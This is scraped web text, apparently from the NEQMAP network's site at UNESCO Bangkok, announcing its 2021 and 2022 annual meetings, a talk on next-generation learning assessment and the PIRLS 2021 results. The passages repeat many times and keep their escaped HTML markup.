She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

